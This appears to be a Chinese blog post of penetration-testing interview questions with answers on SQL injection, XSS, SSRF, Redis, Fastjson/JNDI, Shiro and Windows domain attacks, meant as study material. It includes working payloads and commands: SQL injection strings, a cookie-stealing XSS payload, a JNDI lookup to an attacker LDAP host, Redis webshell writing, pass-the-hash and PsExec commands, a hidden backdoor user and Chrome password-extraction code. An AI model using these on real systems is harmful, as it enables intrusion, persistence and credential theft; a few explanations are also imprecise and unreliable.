2025年渗透测试面试题总结-34(题目+回答)
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
一、SQL注入报错函数
二、DOM型 XSS
三、SSRF利用点
四、SQL注入点(空表利用)
五、MVC代码审计流程
六、实战漏洞案例(挖洞经历)
七、Redis利用姿势及环境差异
八、Fastjson回显
九、JNDI注入原理
十、端口389
十一、Java回显技术
十二、泛微OA XStream回显差异
十三、Shiro限制Payload长度
十四、文件上传白名单绕过
十五、00截断原理
十六、判断域控的几种方式
十七、工作组横向
十八、域内横向
十九、Windows认证协议
二十、黄金票据 vs 白银票据
二十一、判断是否在域内
二十二、Hash传递原理
二十三、权限维持
二十四、横向移动姿势
二十五、凭证获取
二十六、对抗杀软添加后门用户
二十七、Chrome密码提取原
sql注入的报错函数 dom 型 xss ssrf 利用点 sql注入点,空表如何利用 mvc代码审计流程 看你简历有在挖洞,说一下你挖过的洞 Redis 利用姿势及环境差异 fastjson回显 jndi注入及原理 端口 389 Java 回显 泛微oa xstream的回显(jdk1.8和1.7的差异) shiro 限制payload长度 Java回显的通用思路以及不同版本jdk的差异 文件上传白名单利用 00截断的原理 判断域控的几种方式 工作组横向 域内横向 Windows认证协议 白银票据黄金票据 判断是否在域内 hash传递原理 权限维持 横向移动的各种姿势及原理 凭证获取(姿势/常用/原理/对抗) 如何对抗杀软加后门用户 Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理)
一、SQL注入报错函数
原理:利用数据库报错信息泄露数据
常见函数:
- MySQL:
updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
(XML路径错误)- SQL Server:
convert(int,@@version)
(类型转换错误)
防御:参数化查询 + 错误信息屏蔽
二、DOM型 XSS
原理:前端JavaScript直接操作DOM时未过滤输入(如
document.write(location.hash)
)
案例:javascript
// 漏洞代码 const attackPayload = "#<img src=x onerror=alert(document.cookie)>" window.location.hash = attackPayload; // 触发XSS
防御:对
location.hash
/document.referrer
等来源严格过滤
三、SSRF利用点
关键目标:
- 内网探测:
http://192.168.0.1:8080
- 协议利用:
file:///etc/passwd
(读文件)gopher://:6379/_*1%0d$8%0dflushall%0d...
(攻击Redis未授权)- 云元数据:
http://169.254.169.254/metadata
(AWS/Azure)
防御:禁用非常用协议(如gopher
),配置网络隔离
四、SQL注入点(空表利用)
技巧:
- 虚拟数据注入:
UNION SELECT 1,concat('~',version(),'~'),3
- 系统表利用:
sql
UNION SELECT table_name,column_name,3 FROM information_schema.columns WHERE table_schema=database()
原理:通过
information_schema
获取元数据结构
五、MVC代码审计流程
mermaid
graph TD A[入口点] --> B[Controller层] B --> C[参数接收] --> D[过滤机制检查] D --> E[Service层] --> F[SQL拼接/ORM] F --> G[DAO层] --> H[数据库操作] H --> I[返回渲染] --> J[View模板引擎XSS]
关键点:
- 控制器参数绑定(如
@RequestParam
是否过滤)- ORM框架使用(MyBatis中
${}
拼接风险)- 视图层输出编码(Freemarker自动转义配置)
六、实战漏洞案例(挖洞经历)
- OA系统文件上传绕过:
- 白名单校验
.jpg
,但Apache解析漏洞(shell.php.xyz
→ 执行PHP)- Shiro反序列化:
- 硬编码密钥 → 构造恶意序列化数据 → RCE
- Fastjson JNDI注入:
- 未升级版本(≤1.2.24)→
@type
触发LDAP加载恶意类
七、Redis利用姿势及环境差异
环境 利用方式 差异说明 Linux 写WebShell: config set dir /var/www/html
+set x "<?php ...
需Web目录可写权限 Windows 写启动项: config set dir C:/Windows/Tasks
+set x "\r\n恶意命令"
需Redis以SYSTEM权限运行 通用 主从复制RCE: SLAVEOF 攻击者IP
→ 加载恶意模块Redis 4.x+ 支持模块扩展
八、Fastjson回显
条件:目标出网受限时需构造回显
方法:
- 修改HTTP响应:通过
TemplatesImpl
注入恶意类篡改Response
对象- JDK差异:≤JDK8u65可用
com.sun.org.apache...
类反射修改内容
九、JNDI注入原理
mermaid
sequenceDiagram 攻击者->>恶意服务器: 启动LDAP/RMI服务 目标应用->>恶意服务器: JNDI查询 (如 lookup('ldap://attacker/Exploit')) 恶意服务器->>目标应用: 返回恶意类地址 目标应用->>恶意服务器: 下载并实例化Exploit.class 目标应用->>目标应用: 执行恶意代码
防御:升级JDK(≥6u132/7u122/8u113默认禁远程加载)
十、端口389
用途:LDAP协议默认端口(域环境核心)
攻击面:
- 匿名查询域用户信息(若未配置认证)
- LDAP注入(类似SQL注入)
- 黄金票据伪造依赖389端口通信
十一、Java回显技术
通用思路:
- 反射获取Response对象:
java
Thread.currentThread().getContextClassLoader() .loadClass("org.apache.catalina.connector.Response") .getMethod("getWriter").invoke(...).write("data");
- 内存写入:通过自定义ClassLoader修改全局变量
JDK差异:
- ≤JDK8:可利用
sun.misc.BASE64Encoder
等类- ≥JDK9:需用
java.util.Base64
等公开API
十二、泛微OA XStream回显差异
JDK版本 利用方式 原因 1.7 直接使用 EventHandler
触发RCE未限制反射调用 1.8 需绕过(如 CVE-2021-21344
链)SecurityManager
增强限制
十三、Shiro限制Payload长度
绕过方案:
- 分段加载:
- 首Payload注册ClassLoader → 后续Payload分片传输
- 内存马注入:
- 短Payload写入Filter型内存马(如Behinder)
防御:配置Shiro密钥复杂度 + 拦截异常反序列化请求
十四、文件上传白名单绕过
手法:
- 解析漏洞:
- IIS6.0:
shell.asp;.jpg
→ 解析为ASP- 特殊字符:
- 空格截断:
shell.php .jpg
(Windows自动去除空格)- 双重扩展名:
shell.jpg.php
(校验逻辑缺陷)
十五、00截断原理
本质:C语言中
\x00
表示字符串结束符
利用:
- 路径截断:
upload/shell.php%00.jpg
→ 保存为shell.php
条件:PHP版本<5.3(高版本已修复)
十六、判断域控的几种方式
- 端口扫描:389(LDAP)、88(Kerberos)开放
- 命令检测:
nltest /domain_trusts
net group "Domain Controllers" /domain
- DNS查询:定位
_ldap._tcp.dc._msdcs.< 域名>
SRV记录
十七、工作组横向
核心协议:SMB(445端口)
手法:
- 爆破攻击:弱口令扫描(IPC$共享)
- PsExec:
psexec.exe \\192.168.1.2 -u admin -p pass cmd.exe
- WMI执行:
wmic /node:192.168.1.2 process call create "cmd.exe"
十八、域内横向
高效手段:
- 票据传递:
- 黄金票据:伪造TGT访问任意服务
- 白银票据:伪造ST访问特定服务(如CIFS)
- 委派攻击:约束委派/基于资源委派滥用
十九、Windows认证协议
协议 特点 风险 NTLM 基于Challenge-Response,支持Pass-the-Hash 易受中间人攻击 Kerberos 票据认证,依赖KDC 黄金票据伪造难度高 Net-NTLMv2 改进版NTLM,仍可被Relay攻击 需SMB签名防御
二十、黄金票据 vs 白银票据
特性 黄金票据 白银票据 伪造对象 TGT(认证票据) ST(服务票据) 所需信息 krbtgt账户Hash 服务账户NTLM Hash 权限范围 访问域内任意服务 仅限特定服务(如CIFS) 检测难度 高(票据加密有效) 中(需监控服务日志)
二十一、判断是否在域内
- 命令检测:
systeminfo | findstr /B /C:"Domain"
ipconfig /all
(查看DNS后缀)- 注册表:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
- 网络痕迹:尝试访问
\\<域名>\NETLOGON
二十二、Hash传递原理
本质:直接使用NTLM Hash登录(非明文密码)
流程:mermaid
graph LR A[攻击者] -->|传递Hash| B[目标服务器] B -->|验证| C[域控] C -->|返回认证结果| B
工具:
pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:XXXXXX //192.168.1.2 cmd
二十三、权限维持
手法 原理 检测难度 计划任务 schtasks创建定时启动后门 低 服务注册 sc create创建恶意服务 中 WMI事件订阅 响应系统事件触发后门 高 SSH公钥注入 ~/.ssh/authorized_keys写入攻击者密钥 中
二十四、横向移动姿势
- 远程执行:
- PsExec / WMI / PowerShell Remoting
- 共享传输:
- 上传木马到ADMIN$共享 → 计划任务执行
- 凭证窃取:
- Mimikatz提取内存凭证 → 用于新主机
二十五、凭证获取
来源 工具 对抗措施 内存提取 Mimikatz(sekurlsa) 启用Credential Guard 磁盘文件 LaZagne(读取Chrome等) 全盘加密(BitLocker) 网络嗅探 Responder(NTLM Relay) 启用SMB签名 注册表 reg query HKLM\SAM Syskey保护
二十六、对抗杀软添加后门用户
绕过技巧:
- 隐藏用户:
net user backdoor$ Password123 /add
($符号隐藏)- 注册表克隆:
- 复制现有管理员用户SID → 绕过审计
- 无文件加载:
- PowerShell内存加载恶意DLL(Avoid Write-Host)
二十七、Chrome密码提取原理
核心步骤:
- 定位数据库:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data
- 解密密钥:
- 调用
CryptUnprotectData
API(需用户登录会话)- SQLite查询:
sql
SELECT origin_url, username_value, password_value FROM logins;
工具实现伪代码:
python
import sqlite3, win32crypt db = sqlite3.connect("Login Data") cursor = db.cursor() cursor.execute("SELECT password_value FROM logins") encrypted_data = cursor.fetchone()[0] decrypted = win32crypt.CryptUnprotectData(encrypted_data) print(decrypted)